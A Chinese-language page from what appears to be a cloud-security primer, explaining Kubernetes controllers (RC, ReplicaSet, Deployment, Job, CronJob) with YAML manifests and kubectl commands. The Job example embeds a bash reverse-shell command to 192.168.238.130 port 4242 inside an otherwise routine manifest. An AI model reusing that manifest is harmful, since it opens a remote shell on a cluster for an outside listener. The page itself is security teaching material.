> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-liu-zhang-yun-yuan-sheng-gong-fang/kubernetes-chang-jian-gong-ji-fang-shi/kuo-zhan-zhi-shi.md).

# 扩展知识

**ReplicationController（RC）**

ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。

```bash
apiVersion: v1
kind: ReplicationController
metadata:
  name: nginx
spec:
  replicas: 3
  selector:
    app: nginx
  template:
    metadata:
      name: nginx
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx
        ports:
        - containerPort: 80
```

· spec.replicas: 指定Pod副本数量，默认为1

· spec.selector: RC通过该属性来筛选要控制的Pod

· spec.template.metadata.labels: 注意这里的Pod的labels要和spec.selector相同，这样RC就可以来控制当前这个Pod了。

注意spec.selector和spec.template.metadata.labels这两个字段必须相同，否则会创建失败的，当然我们也可以不写spec.selector，这样就默认与Pod模板中的metadata.labels相同了。

```bash
#创建rc
kubectl create -f rc-demo.yaml
 
#查看RC
kubectl get rc
 
#查看具体信息
kubectl describe rc nginx
 
#修改pod副本数量
kubectl edit rc nginx
 
#利用rc滚动升级
kubectl rolling-update nginx --image=nginx:1.7.9
kubectl rolling-update nginx -f rc-demo.yaml
```

**Replication Set（RS）**

Replication Set简称RS，官方已经推荐我们使用RS和Deployment来代替RC了，实际上RS和RC的功能基本一致，目前唯一的一个区别就是RC只支持基于等式的selector

kubectl命令行工具中关于RC的大部分命令同样适用于我们的RS资源对象

```bash
apiVersion: apps/v1
kind: ReplicaSet
metadata:
  name: frontend
  labels:
    app: guestbook
    tier: frontend
spec:
  # modify replicas according to your case
  replicas: 3
  selector:
    matchLabels:
      tier: frontend
  template:
    metadata:
      labels:
        tier: frontend
    spec:
      containers:
      - name: php-redis
        image: gcr.io/google_samples/gb-frontend:v3
```

**Deployment**

主要职责和RC一样的都是保证Pod的数量和健康，二者大部分功能都是完全一致的，我们可以看成是一个升级版的RC控制器

官方组件kube-dns、kube-proxy也都是使用的Deployment来管理

特性：

· RC的全部功能：Deployment具备上面描述的RC的全部功能

· 事件和状态查看：可以查看Deployment的升级详细进度和状态

· 回滚：当升级Pod的时候如果出现问题，可以使用回滚操作回滚到之前的任一版本

· 版本记录：每一次对Deployment的操作，都能够保存下来，这也是保证可以回滚到任一版本的基础

· 暂停和启动：对于每一次升级都能够随时暂停和启动

一个Deployment拥有多个Replica Set，而一个Replica Set拥有一个或多个Pod。

一个Deployment控制多个rs主要是为了支持回滚机制，每当Deployment操作时，Kubernetes会重新生成一个Replica Set并保留，以后有需要的话就可以回滚至之前的状态。

```bash
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.7.9
        ports:
        - containerPort: 80
#查看deployment
kubectl get deployments
 
#查看Deployment的升级历史
kubectl rollout history deployment nginx-deploy
```

**Job 和 Cronjob**

Job负责处理任务，即仅执行一次的任务

CronJob则就是在Job上加上了时间调度。

jobs

```bash
apiVersion: batch/v1
kind: Job
metadata:
  name: job-demo
spec:
  template:
    metadata:
      name: job-demo
    spec:
      restartPolicy: Never
      containers:
      - name: counter
        image: busybox
        command:
        - "bin/bash"
        - "-c"
        - "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"
cronjobs
apiVersion: batch/v2alpha1
kind: CronJob
metadata:
  name: cronjob-demo
spec:
  schedule: "*/1 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          restartPolicy: OnFailure
          containers:
          - name: hello
            image: busybox
            args:
            - "bin/sh"
            - "-c"
            - "for i in 9 8 7 6 5 4 3 2 1; do echo $i; done"
#删除
kubectl delete cronjob cronjob-demo
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-liu-zhang-yun-yuan-sheng-gong-fang/kubernetes-chang-jian-gong-ji-fang-shi/kuo-zhan-zhi-shi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.